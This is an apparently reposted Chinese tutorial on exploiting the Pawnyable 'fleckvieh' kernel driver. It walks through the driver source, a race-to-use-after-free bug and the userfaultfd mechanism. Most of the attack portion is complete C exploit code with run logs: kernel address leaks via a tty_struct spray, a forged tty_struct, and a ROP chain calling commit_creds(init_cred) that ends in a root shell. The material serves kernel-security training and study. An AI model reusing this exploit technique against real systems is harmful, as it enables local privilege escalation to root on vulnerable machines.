0015-TIPS-pawnyable : userfaultfd

news2024/9/25 15:29:29

原文
Linux Kernel PWN | 040303 Pawnyable之userfaultfd
userfaultfdの利用
题目下载

代码分析

#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/random.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Fleckvieh - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "fleckvieh"
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004

typedef struct {
  int id;
  size_t size;
  char *data;
} request_t;

typedef struct {
  int id;
  size_t size;
  char *data;
  struct list_head list;
} blob_list;

static int module_open(struct inode *inode, struct file *filp) {
  /* Allocate list head */
  filp->private_data = (void*)kmalloc(sizeof(struct list_head), GFP_KERNEL);
  if (unlikely(!filp->private_data))
    return -ENOMEM;

  INIT_LIST_HEAD((struct list_head*)filp->private_data);
  return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
  struct list_head *top;
  blob_list *itr, *tmp;

  /* Remove everything */
  top = (struct list_head*)filp->private_data;
  tmp = NULL;
  list_for_each_entry_safe(itr, tmp, top, list) {
    list_del(&itr->list);
    kfree(itr->data);
    kfree(itr);
  }

  kfree(top);
  return 0;
}

blob_list *blob_find_by_id(struct list_head *top, int id) {
  blob_list *itr;

  /* Find blob by id */
  list_for_each_entry(itr, top, list) {
    if (unlikely(itr->id == id)) return itr;
  }

  return NULL;
}

long blob_add(struct list_head *top, request_t *req) {
  blob_list *new;

  /* Check size */
  if (req->size > 0x1000)
    return -EINVAL;

  /* Allocate a new blob structure */
  new = (blob_list*)kmalloc(sizeof(blob_list), GFP_KERNEL);
  if (unlikely(!new)) return -ENOMEM;

  /* Allocate data buffer */
  new->data = (char*)kmalloc(req->size, GFP_KERNEL);
  if (unlikely(!new->data)) {
    kfree(new);
    return -ENOMEM;
  }

  /* Copy data from user buffer */
  if (unlikely(copy_from_user(new->data, req->data, req->size))) {
    kfree(new->data);
    kfree(new);
    return -EINVAL;
  }

  new->size = req->size;
  INIT_LIST_HEAD(&new->list);

  /* Generate a random positive integer */
  do {
    get_random_bytes(&new->id, sizeof(new->id));
  } while (unlikely(new->id < 0));

  /* Insert to list */
  list_add(&new->list, top);

  return new->id;
}

long blob_del(struct list_head *top, request_t *req) {
  blob_list *victim;
  if (!(victim = blob_find_by_id(top, req->id)))
    return -EINVAL;

  /* Delete the item */
  list_del(&victim->list);
  kfree(victim->data);
  kfree(victim);

  return req->id;
}

long blob_get(struct list_head *top, request_t *req) {
  blob_list *victim;
  if (!(victim = blob_find_by_id(top, req->id)))
    return -EINVAL;

  /* Check size */
  if (req->size > victim->size)
    return -EINVAL;

  /* Copy data to user */
  if (unlikely(copy_to_user(req->data, victim->data, req->size)))
    return -EINVAL;

  return req->id;
}

long blob_set(struct list_head *top, request_t *req) {
  blob_list *victim;
  if (!(victim = blob_find_by_id(top, req->id)))
    return -EINVAL;

  /* Check size */
  if (req->size > victim->size)
    return -EINVAL;

  /* Copy data from user */
  if (unlikely(copy_from_user(victim->data, req->data, req->size)))
    return -EINVAL;

  return req->id;
}

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  struct list_head *top;
  request_t req;
  if (unlikely(copy_from_user(&req, (void*)arg, sizeof(req))))
    return -EINVAL;

  top = (struct list_head*)filp->private_data;

  switch (cmd) {
    case CMD_ADD: return blob_add(top, &req);
    case CMD_DEL: return blob_del(top, &req);
    case CMD_GET: return blob_get(top, &req);
    case CMD_SET: return blob_set(top, &req);
    default: return -EINVAL;
  }
}

static struct file_operations module_fops = {
  .owner   = THIS_MODULE,
  .open    = module_open,
  .release = module_close,
  .unlocked_ioctl = module_ioctl
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

打开驱动

会创建一个双向链表,并将filp->private_data指向这个双向链表
在这里插入图片描述

blob_add

  • 创建一个struct blob_list节点,
  • 并根据参数req-size传递的长度,创建一个堆空间,blob_list->data指向这个堆空间,
  • 再通过copy_from_user,将参数req->data指向的用户空间的内容复制到blob_list->data中,
  • 之后将req->size也就是req->data的长度值赋值给blob_list->size
  • 接着初始化blob_list->list双向链表,并链入到filp->private_data
  • 最后生成一个随机数,赋值到blob_list->id中,并返回给调用者,用来索引该节点
    在这里插入图片描述

blob_del

  • 通过参数req->id索引到blob_list节点
  • 将该节点从filp->private_data双向链表中断开
  • 删除blob_list->data指向的堆空间
  • 删除struct blob_list节点占据的空间

blob_get

  • 通过参数req->id索引到blob_list节点
  • 通过copy_to_userblob_list->data中的内容复制到参数req->data指向的用户空间

blob_set

  • 通过参数req->id索引到blob_list节点
  • 通过copy_from_user将参数req->data指向用户空间的内容复制到blob_list->data指向的内核空间

漏洞分析

代码存在条件竞争,并可转换为UAF漏洞

条件竞争->UAF:实现内核地址泄露

  1. 线程1新增一个链表节点A(blob_add)
    在这里插入图片描述
  2. 线程1对链表节点A执行查询操作(blob_get);在copy_to_user执行前,线程2对链表节点A执行删除操作(blob_del),并喷射tty_struct占位(依赖于blob_add是传递参数req->size的值)
    在这里插入图片描述
  3. 线程1执行copy_to_user,实际上将某个tty_struct的内容复制到了用户空间

条件竞争->UAF:实现控制流劫持

转化为UAF漏洞并实现控制流劫持所需的竞态状态:
1.线程1新增一个链表节点B(blob_add)
在这里插入图片描述

2.线程1对链表节点B执行查询操作(blob_set);在copy_from_user执行前,线程2对链表节点B执行删除操作(blob_del),并喷射tty_struct占位
在这里插入图片描述
3.线程1执行copy_from_user,实际上将占位的tty_struct内容替换成了攻击者的伪造tty_struct

条件竞争点在于,在执行copy_to_usercopy_from_user前,需要完成blob_list节点的删除,和堆喷的重新占位,这个难度较大,但是userfaultfd可以解决当前题目环境的问题。

userfaultfd解析

参考

man ioctl_userfaultfd
man userfaultfd

userfaultfd的功能

userfaultfd用于处理用户态缺页异常。比如mmap分配一段内存空间,此刻这段这段内存空间没有与物理页挂钩,只有实际对该空间进行读/写时,才通过缺页异常进入内核态挂载物理页。
现在可以通过userfaultfd机制,在用户态处理这个缺页异常。

比方,mmap 4页大小的虚拟空间,现在还没有挂上物理页
在这里插入图片描述
现在要往这段空间写入大量的数据,4 * 0x1000字节的数据。由于4 * 0x1000是4个page页的大小,每个页都会触发一次缺页异常,因此每个页都会触发一次userfaultfd
在这里插入图片描述
在经过userfaultfd处理后,这段4 * 0x1000虚拟空间都挂上了物理页,以后对这些虚拟空间的读写就不会发生缺页异常,因此对于每一个page大小的虚拟空间,userfaultfd只触发一次

现在看看userfaultfd是怎么进行处理的
(步骤5大概就是这意思,我不知道是挂载的原始页,还是再生成新页,再把新页挂载到虚拟空间上?)
对于写
在这里插入图片描述
对于读
在这里插入图片描述

userfaultfd 操作逻辑

  • 1、要使用userfaultfd功能,需要通过系统调用获取操作userfaultfd的文件句柄,假设获取到的句柄是uffd
    • int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  • 2、通过uffd配置userfaultfd功能版本,缺页类型
    • ioctl(uffd, UFFDIO_API, &uffdio_api)
  • 3、通过uffd配置注册缺页监控范围
    • ioctl(uffd, UFFDIO_REGISTER, &uffdio_register)
  • 4、通过uffd文件描述符轮询缺页事件(由于从轮询事件会发生阻塞,所以从这一步往下需要放到一个新线程中)
    • pthread_create(&th, NULL, fault_handler_thread, (void *)uffd)
  • 5、通过uffd配置处理缺页事件
    • ioctl(uffd, UFFDIO_COPY, &copy)

推荐看这三个文档
man ioctl_userfaultfd
man userfaultfd
https://www.kernel.org/doc/html/next/admin-guide/mm/userfaultfd.html
https://xz.aliyun.com/t/6653

再结合如下demo进行理解

/*
serfaultfd机制允许多线程程序中的某个线程为其他线程提供用户空间页面——如果该线程将这些页面注册到了userfaultfd对象上,
那么当针对这些页面的缺页异常发生时,触发缺页异常的线程将暂停运行,内核将生成一个缺页异常事件并通过userfaultfd文件描述符传递给异常处理线程。
异常处理线程可以做一些处理,然后唤醒之前暂停的线程

该程序首先使用mmap在用户空间分配两个匿名页,接着创建userfaultfd,并启动一个线程来处理缺页异常。
然后,主线程尝试向先前申请的两个匿名页依次写入数据。
针对这两个页的第一次读操作将触发两次缺页异常,子线程将从阻塞态恢复并执行处理逻辑。
针对同一页面的第二次及之后的读写操作将不再触发缺页异常
*/
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

void fatal(const char *msg) {
    perror(msg);
    exit(1);
}

static void *fault_handler_thread(void *arg) {
    char *dummy_page;
    static struct uffd_msg msg;
    struct uffdio_copy copy;
    struct pollfd pollfd;
    long uffd;
    static int fault_cnt = 0;

    uffd = (long)arg;

    puts("[t][*] mmaping one dummy page");
    dummy_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (dummy_page == MAP_FAILED)
        fatal("mmap(dummy)");

    puts("[t][*] waiting for page fault");
    pollfd.fd = uffd;
    pollfd.events = POLLIN;

    while (poll(&pollfd, 1, -1) > 0) {
        if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
            fatal("poll");

        // block until triggered
        // 非阻塞I/O使我们的操作要么成功,要么立即返回错误,不被阻塞
        if (read(uffd, &msg, sizeof(msg)) <= 0)
            fatal("read(uffd)");
        assert(msg.event == UFFD_EVENT_PAGEFAULT);
        puts("[t][+] caught page fault");
        printf("[t][+] uffd: flag=0x%llx, addr=0x%llx\n", msg.arg.pagefault.flags, msg.arg.pagefault.address);

        // craft data and copy
        puts("[t][*] writing hello world into dummy page");
        if (fault_cnt++ == 0)
            strcpy(dummy_page, "Hello, world! (1)");
        else
            strcpy(dummy_page, "Hello, world! (2)");

        puts("[t][*] copying data from dummy page to faulted page");
        copy.src = (unsigned long)dummy_page;
        copy.dst = (unsigned long)msg.arg.pagefault.address & ~0xfff;
        copy.len = 0x1000;
        copy.mode = 0;
        copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &copy) == -1)
            fatal("ioctl(UFFDIO_COPY)");
    }

    return NULL;
}

int register_uffd(void *addr, size_t len) {
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    long uffd;
    pthread_t th;

    puts("[*] registering userfaultfd");
    
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        fatal("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        fatal("ioctl(UFFDIO_API)");

    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        fatal("UFFDIO_REGISTER");

    puts("[*] spawning a fault handler thread");
    if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))
        fatal("pthread_create");

    return 0;
}

int main() {
    void *page;
    page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
        fatal("mmap");

    printf("[+] mmap two pages at 0x%llx\n", (long long unsigned int)page);
    register_uffd(page, 0x2000);

    char buf[0x100];
    puts("[*] reading from page#1");
    strcpy(buf, (char *)(page));
    printf("[+] 0x0000: %s\n", buf);
    puts("[*] reading from page#2");
    strcpy(buf, (char *)(page + 0x1000));
    printf("[+] 0x1000: %s\n", buf);
    puts("[*] reading from page#1");
    strcpy(buf, (char *)(page));
    printf("[+] 0x0000: %s\n", buf);
    puts("[*] reading from page#2");
    strcpy(buf, (char *)(page + 0x1000));
    printf("[+] 0x1000: %s\n", buf);

    getchar();
    return 0;
}
/*
[+] mmap two pages at 0x7f0ed2616000
[*] registering userfaultfd
[*] spawning a fault handler thread
[t][*] mmaping one dummy page
[t][*] waiting for page fault
[*] reading from page#1
[t][+] catched page fault
[t][+] uffd: flag=0x0, addr=0x7f0ed2616000
[t][*] writing hello world into dummy page
[t][*] copying data from dummy page to faulted page
[+] 0x0000: Hello, world! (1)
[*] reading from page#2
[t][+] catched page fault
[t][+] uffd: flag=0x0, addr=0x7f0ed2617000
[t][*] writing hello world into dummy page
[t][*] copying data from dummy page to faulted page
[+] 0x1000: Hello, world! (2)
[*] reading from page#1
[+] 0x0000: Hello, world! (1)
[*] reading from page#2
[+] 0x1000: Hello, world! (2)
*/

漏洞利用

对于本体,只要用户空间被userfaultfd监控,条件竞争就能稳定触发成功
在这里插入图片描述

poc

#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004

#define SPRAY_NUM 0x10

#define ofs_tty_ops 0xc3c3c0

void fatal(const char *msg) {
    perror(msg);
    exit(1);
}

typedef struct {
    long id;
    size_t size;
    char *data;
} request_t;

int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;

int add(char *data, size_t size) {
    request_t req = {.size = size, .data = data};
    int r = ioctl(fd, CMD_ADD, &req);
    if (r == -1)
        fatal("blob_add");
    return r;
}

int del(int id) {
    request_t req = {.id = id};
    int r = ioctl(fd, CMD_DEL, &req);
    if (r == -1)
        fatal("blob_del");
    return r;
}

int get(int id, char *data, size_t size) {
    request_t req = {.id = id, .size = size, .data = data};
    int r = ioctl(fd, CMD_GET, &req);
    if (r == -1)
        fatal("blob_get");
    return r;
}

int set(int id, char *data, size_t size) {
    request_t req = {.id = id, .size = size, .data = data};
    int r = ioctl(fd, CMD_SET, &req);
    if (r == -1)
        fatal("blob_set");
    return r;
}

static void *fault_handler_thread(void *arg) {
    static struct uffd_msg msg;
    struct uffdio_copy copy;
    struct pollfd pollfd;
    long uffd;
    static int fault_cnt = 0;

    puts("[t][*] set cpu affinity");
    if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
        fatal("sched_setaffinity");

    uffd = (long)arg;

    puts("[t][*] waiting for page fault");
    pollfd.fd = uffd;
    pollfd.events = POLLIN;

    while (poll(&pollfd, 1, -1) > 0) {
        if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
            fatal("poll");
        if (read(uffd, &msg, sizeof(msg)) <= 0)
            fatal("read(uffd)");
        assert(msg.event == UFFD_EVENT_PAGEFAULT);
        puts("[t][+] caught page fault");

        switch (fault_cnt++) {
            case 0:
            case 1: {
                puts("[t][*] crafting UAF");
                puts("[t][*] deleting victim blob");
                del(victim);
                printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
                for (int i = 0; i < SPRAY_NUM; i++) {
                    ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
                    if (ptmx[i] == -1)
                        fatal("/dev/ptmx");
                }
                // just reuse the buf in user land
                copy.src = (unsigned long)buf;
                break;
            }
        }

        copy.dst = (unsigned long)msg.arg.pagefault.address;
        copy.len = 0x1000;
        copy.mode = 0;
        copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &copy) == -1)
            fatal("ioctl(UFFDIO_COPY)");
    }
    return NULL;
}

int register_uffd(void *addr, size_t len) {
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    long uffd;
    pthread_t th;

    puts("[*] registering userfaultfd");

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        fatal("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        fatal("ioctl(UFFDIO_API)");

    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        fatal("UFFDIO_REGISTER");

    puts("[*] spawning a fault handler thread");
    if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))
        fatal("pthread_create");

    return 0;
}

int main() {
    puts("[*] set cpu affinity");
    CPU_ZERO(&pwn_cpu);
    CPU_SET(0, &pwn_cpu);
    if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
        fatal("sched_setaffinity");

    fd = open("/dev/fleckvieh", O_RDWR);
    if (fd == -1)
        fatal("/dev/fleckvieh");

    void *page;
    page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
        fatal("mmap");
    printf("[+] mmap two pages at 0x%llx\n", (long long unsigned int)page);

    register_uffd(page, 0x2000);

    buf = (char *)malloc(0x1000);

    victim = add(buf, 0x400);
    set(victim, "Hello", 6);

    puts("[*] UAF#1 leak kbase");
    puts("[*] reading 0x20 bytes from victim blob to page#1");
    get(victim, page, 0x20);
    kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;
    for (int i = 0; i < SPRAY_NUM; i++)
        close(ptmx[i]);

    puts("[*] UAF#2 leak kheap");
    victim = add(buf, 0x400);
    puts("[*] reading 0x400 bytes from victim blob to page#2");
    get(victim, page + 0x1000, 0x400);
    kheap = *(unsigned long *)(page + 0x1038) - 0x38;
    for (int i = 0; i < SPRAY_NUM; i++)
        close(ptmx[i]);

    printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);

    return 0;
}
/*
~ $ /exploit
[*] set cpu affinity
[+] mmap two pages at 0x7fe0ac175000
[*] registering userfaultfd
[*] spawning a fault handler thread
[*] UAF#1 leak kbase
[*] reading 0x20 bytes from victim blob to page#1
[t][*] set cpu affinity
[t][*] waiting for page fault
[t][+] caught page fault
[t][*] crafting UAF
[t][*] deleting victim blob
[t][*] spraying 16 tty_struct objects
[*] UAF#2 leak kheap
[*] reading 0x400 bytes from victim blob to page#2
[t][+] caught page fault
[t][*] crafting UAF
[t][*] deleting victim blob
[t][*] spraying 16 tty_struct objects
[+] leaked kbase: 0xffffffff81000000, kheap: 0xffff8880030cc800
*/

exp

#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004

#define SPRAY_NUM 0x10
#define ofs_tty_ops 0xc3c3c0

#define push_rdx_pop_rsp_pop_ret (kbase + 0x09b13a)
#define commit_creds (kbase + 0x072830)
#define pop_rdi_ret (kbase + 0x09b0ed)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
#define init_cred (kbase + 0xe37480)

void fatal(const char *msg) {
    perror(msg);
    exit(1);
}

typedef struct {
    long id;
    size_t size;
    char *data;
} request_t;

unsigned long user_cs, user_ss, user_sp, user_rflags;

void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}

void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}

int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;

int add(char *data, size_t size) {
    request_t req = {.size = size, .data = data};
    int r = ioctl(fd, CMD_ADD, &req);
    if (r == -1)
        fatal("blob_add");
    return r;
}

int del(int id) {
    request_t req = {.id = id};
    int r = ioctl(fd, CMD_DEL, &req);
    if (r == -1)
        fatal("blob_del");
    return r;
}

int get(int id, char *data, size_t size) {
    request_t req = {.id = id, .size = size, .data = data};
    int r = ioctl(fd, CMD_GET, &req);
    if (r == -1)
        fatal("blob_get");
    return r;
}

int set(int id, char *data, size_t size) {
    request_t req = {.id = id, .size = size, .data = data};
    int r = ioctl(fd, CMD_SET, &req);
    if (r == -1)
        fatal("blob_set");
    return r;
}

static void *fault_handler_thread(void *arg) {
    static struct uffd_msg msg;
    struct uffdio_copy copy;
    struct pollfd pollfd;
    long uffd;
    static int fault_cnt = 0;

    puts("[t][*] set cpu affinity");
    if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
        fatal("sched_setaffinity");

    uffd = (long)arg;

    puts("[t][*] waiting for page fault");
    pollfd.fd = uffd;
    pollfd.events = POLLIN;

    while (poll(&pollfd, 1, -1) > 0) {
        if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
            fatal("poll");
        if (read(uffd, &msg, sizeof(msg)) <= 0)
            fatal("read(uffd)");
        assert(msg.event == UFFD_EVENT_PAGEFAULT);
        puts("[t][+] caught page fault");

        switch (fault_cnt++) {
        case 0:
        case 1: {
            puts("[t][*] UAF read");
            del(victim);
            printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
            for (int i = 0; i < SPRAY_NUM; i++) {
                ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
                if (ptmx[i] == -1)
                    fatal("/dev/ptmx");
            }
            copy.src = (unsigned long)buf;
            break;
        }
        case 2: {
            puts("[t][*] UAF write");
            printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100);
            for (int i = 0; i < 0x100; i++)
                add(buf, 0x400);

            del(victim);
            printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
            for (int i = 0; i < SPRAY_NUM; i++) {
                ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
                if (ptmx[i] == -1)
                    fatal("/dev/ptmx");
            }
            copy.src = (unsigned long)buf;
            break;
        }
        default:
            fatal("[t][-] unexpected page fault");
        }

        copy.dst = (unsigned long)msg.arg.pagefault.address;
        copy.len = 0x1000;
        copy.mode = 0;
        copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &copy) == -1)
            fatal("ioctl(UFFDIO_COPY)");
    }
    return NULL;
}

int register_uffd(void *addr, size_t len) {
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    long uffd;
    pthread_t th;

    puts("[*] registering userfaultfd");

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        fatal("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        fatal("ioctl(UFFDIO_API)");

    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        fatal("UFFDIO_REGISTER");

    puts("[*] spawning a fault handler thread");
    if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))
        fatal("pthread_create");

    return 0;
}

int main() {
    save_userland_state();
    puts("[*] set cpu affinity");
    CPU_ZERO(&pwn_cpu);
    CPU_SET(0, &pwn_cpu);
    if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
        fatal("sched_setaffinity");

    fd = open("/dev/fleckvieh", O_RDWR);
    if (fd == -1)
        fatal("/dev/fleckvieh");

    void *page;
    page = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
        fatal("mmap");
    printf("[+] mmap three pages at 0x%llx\n", (long long unsigned int)page);

    register_uffd(page, 0x3000);

    buf = (char *)malloc(0x1000);

    puts("[*] UAF#1 leak kbase");
    puts("[*] reading 0x20 bytes from victim blob to page#1");
    victim = add(buf, 0x400);
    get(victim, page, 0x20);
    kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;
    for (int i = 0; i < SPRAY_NUM; i++)
        close(ptmx[i]);

    puts("[*] UAF#2 leak kheap");
    victim = add(buf, 0x400);
    puts("[*] reading 0x400 bytes from victim blob to page#2");
    get(victim, page + 0x1000, 0x400);
    kheap = *(unsigned long *)(page + 0x1038) - 0x38;
    for (int i = 0; i < SPRAY_NUM; i++)
        close(ptmx[i]);

    printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);

    puts("[*] crafting fake tty_struct in buf");
    memcpy(buf, page + 0x1000, 0x400);
    unsigned long *tty = (unsigned long *)buf;
    tty[0] = 0x0000000100005401;              // magic
    tty[2] = *(unsigned long *)(page + 0x10); // dev
    tty[3] = kheap;                           // ops
    tty[12] = push_rdx_pop_rsp_pop_ret;       // ops->ioctl
    puts("[*] crafting rop chain");
    unsigned long *chain = (unsigned long *)(buf + 0x100);
    *chain++ = 0xdeadbeef; // pop
    *chain++ = pop_rdi_ret;
    *chain++ = init_cred;
    *chain++ = commit_creds;
    *chain++ = swapgs_restore_regs_and_return_to_usermode;
    *chain++ = 0x0;
    *chain++ = 0x0;
    *chain++ = (unsigned long)&spawn_shell;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_sp;
    *chain++ = user_ss;

    puts("[*] UAF#3 write rop chain");
    victim = add(buf, 0x400);
    set(victim, page + 0x2000, 0x400);

    puts("[*] invoking ioctl to hijack control flow");
    for (int i = 0; i < SPRAY_NUM; i++)
        ioctl(ptmx[i], 0, kheap + 0x100);

    getchar();
    return 0;
}
/*
~ $ /exploit
[*] saving user land state
[*] set cpu affinity
[+] mmap three pages at 0x7faf152a4000
[*] registering userfaultfd
[*] spawning a fault handler thread
[*] UAF#1 leak kbase
[*] reading 0x20 bytes from victim blob to page#1
[t][*] set cpu affinity
[t][*] waiting for page fault
[t][+] caught page fault
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[*] UAF#2 leak kheap
[*] reading 0x400 bytes from victim blob to page#2
[t][+] caught page fault
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[+] leaked kbase: 0xffffffffbe000000, kheap: 0xffffa15381cda400
[*] crafting fake tty_struct in buf
[*] crafting rop chain
[*] UAF#3 write rop chain
[t][+] caught page fault
[t][*] UAF write
[t][*] spraying 256 fake tty_struct objects (blob)
[t][*] spraying 16 tty_struct objects
[*] invoking ioctl to hijack control flow
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ # id
uid=0(root) gid=0(root)
*/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/672036.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

学生党可以做的暑期兼职,让暑假生活不再躺平

夏季期间有几种兼职工作可供选择&#xff1a; 1.许多超市在暑假期间会雇佣一些短期工来从事收银和理货等工作&#xff0c;每小时报酬一般约为15元左右&#xff0c;算是不错的待遇。 2.在暑假期间&#xff0c;你可以寻找一些人力资源工作&#xff0c;借助他们的帮助来安排一些临…

常用工具类之AJ-Captcha入门

1.引入MAVEN依赖 若依官方引入的是1.2.7版本。我选择了目前最常用的1.3.0版本。 在项目中给的 ruoyi-framework\pom.xml 添加依赖 <!-- anji滑块验证码 --><dependency><groupId>com.anji-plus</groupId><artifactId>spring-boot-starter-captc…

android native hook简介

&#xff08;一&#xff09;简介 android中的 native Hook是一个吸引人的技术点&#xff0c;诱使和带来很多特别精彩的想法和体验&#xff0c;在调试和其他场景中有很多应用。 本文代码基本都来自github上的源码&#xff0c;只做了适当的编辑和修改&#xff0c;主要是为了验证…

解决VMware虚拟机和Windows主机不在同一网段无法连接问题

解决VMware虚拟机和Windows主机不在同一网段无法连接问题 由于自己平时需要频繁更换虚拟机网段&#xff0c;有时候在Windows主机使用Xshell等SSH工具无法连接&#xff0c;还需要配置Windows主机的网段&#xff0c;需要将它们的网段配置到同一网段内&#xff0c;才能使SSH连接成…

Pillow库 三分钟带你了解最基础的使用

努力是为了不平庸~ 学习的最大理由是想摆脱平庸&#xff0c;早一天就多一份人生的精彩&#xff1b;迟一天就多一天平庸的困扰 目录 一、Pillow库是什么 二、以下是 Pillow 的一些主要作用和使用方法的概述&#xff1a; 三、学习使用 Pillow&#xff0c;一个强大的 Python …

python综合实践-利用Python turtle模块画樱花丛

